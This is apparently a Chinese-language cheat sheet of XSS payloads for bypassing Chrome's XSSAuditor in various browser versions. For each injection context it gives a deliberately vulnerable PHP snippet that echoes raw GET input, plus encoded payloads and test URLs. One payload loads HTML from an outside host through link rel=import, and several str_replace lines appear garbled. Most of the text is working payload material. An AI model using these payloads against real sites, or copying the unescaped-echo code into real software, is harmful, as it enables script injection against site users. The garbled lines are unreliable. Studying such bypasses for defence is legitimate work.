Bypass 3 via flash {#bypass-3-via-flash}
只要支持flash的chrome版本（到Chrome 56），均可使用。

Universal Bypass 2 {#universal-bypass-2}
到Chrome 55/56可用， 无任何条件，只要输出在页面中即可执行代码。
context == null
?xss=<svg><set href=#script attributeName=href to=data:,alert(document.domain) /><script id=script src=foo></script>
test

test
http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3D%22import%22%20href%3D%22https%3Awww.leavesongs.com%2Ftestxss%22
Chrome 59 && 输出点后面有空格的情况 {#chrome-59}
context:
<?php
header('X-XSS-Protection: 1; mode=block');
echo "<!DOCTYPE html><html><head></head><body>{$_GET['html']} </body></html>";
test
http://mhz.pw/game/xss/xss2.php?html=%3Cscript%3Ealert%28%29%3C/script
Chrome 44/45 + 属性中输出的情况 {#chrome-4445}
https://code.google.com/p/chromium/issues/detail?id=526104
chrome45+ fixed

无charset Bypass {#charset-bypass}
没有输出charset的情况下，可以通过制定字符集来绕过auditor。
老版的这个编码：ISO-2022-KR，可用 onerror%0f=alert(1) bypass，但现在版本已经没用这个编码，所以该payload只适用于老版本chrome。
新版中，有这个编码：ISO-2022-JP，可以在关键处中加入%1B%28B，会被省略。
context:
<?php
echo $_GET['xss'];
payload:
老版：
xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%0f=alert(1)%3E
新版：
xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E
test:
http://mhz.pw/game/xss/charset.php?xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E
输出在属性中，并且后面还有<script>的情况 {#script}
context:
<!doctype HTML>
<img alt="<?php echo $_GET['xss']; ?>">
<script> y = "abc"; </script>
payload
<code>xss="><script/src=data:,alert(1)%2b"
xss=%22%3E%3Cscript/src=data:,alert(document.domain)%2b%22
xss=%22%3E%3Cscript/src=data:,alert(1)%2b%22
xss=%22%3E%3Cscript/src=data:,alert(1)%26sol;%26sol;</code>
test
http://mhz.pw/game/xss/beforescript.php?xss=%22%3E%3Cscript%2Fsrc%3Ddata%3A%2Calert(document.domain)%2B%22
双输出点的情况 {#_1}
context:
<?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";
// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>
payload:
http://xxx/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script>
http://xxx/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>
test
http://mhz.pw/game/xss/doubleout.php?text1=%3Cscript%3Ealert(/XSS/);void(%27&text2=%27)%3C/script%3E
Chrome 43 XSSAuditor bypass {#chrome-43-xssauditor-bypass}
大概2015-06-23以前的版本均可。
context==全部情况
payload:
xss=<svg><script>/<1/>alert(document.domain)</script></svg>
test
http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cscript%3E/%3C1/%3Ealert(document.domain)%3C/script%3E%3C/svg%3E
Chrome 36~40 link 导入html导致bypass {#chrome-3640-link-htmlbypass}
Fixed in Oct 10, 2014.（实际上15年初还存在）
https://code.google.com/p/chromium/issues/detail?id=421166
http://www.wooyun.org/bugs/wooyun-2010-090304
由于link导入外部html导致XSSAuditor绕过。
context==全部情况
payload
xss=<link rel=import href=https://auth.mhz.pw/game/xss/link.php>
test
http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel%3Dimport%20href%3Dhttps%3A%2F%2Fauth.mhz.pw%2Fgame%2Fxss%2Flink.php%3E
输出在script内字符串位置的情况 {#script_1}
如果允许闭合字符串，直接闭合并写入javascript即可，如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27
但如果不能闭合单引号呢？如这个context
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>all</title>
<script type="text/javascript">
var a = '<?php echo addslashes($_GET["xss"]); ?>';
</script>
</head>
<body>
123
</body>
</html>
payload
<script>
x = "</script><svg><script>alert(1)+"";
<script>
x = "</script><svg><script>alert(1)+'";
test
http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)%2b%26apos%3B
http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)//
有可控上传点的通用Bypass {#bypass}
context：
网站域名下有可控的上传点，我可以上传一个.txt或.js等文件（只要不是媒体文件，其他文件均可，比如上传是黑名单验证的，可以随便写个后缀）。再引入script标签的src属性即可。
payload
xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E
test
http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E
http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.ayu%3E%3C/script%3E
JSON Encode {#json-encode}
context
<?=json_encode($_GET['x'])?>
payload
?x=<img+src=x+onerror=`ö`-alert(1)>
存在字符替换的情况 {#_2}
当输出点在输出前存在字符（大部分字符，字符串什么的都可以）的替换，context如下：
<?php
echo str_replace('"', '"e;', $_REQUEST['name']);
echo str_replace('&', '&', $_REQUEST['name']);
echo str_replace('\\', '\', $_REQUEST['name']);
echo str_replace('#', '#', $_REQUEST['name']);
echo str_replace('xxxx', 'b', $_REQUEST['name']);
既可以在payload里带入该字符进行绕过auditor：
xss=<script>'"'/alert(1)</script>
test
http://mhz.pw/game/xss/amps.php?name=zx%3Cscript%3E%27%26%27/alert(1)%3C/script%3Eczxc
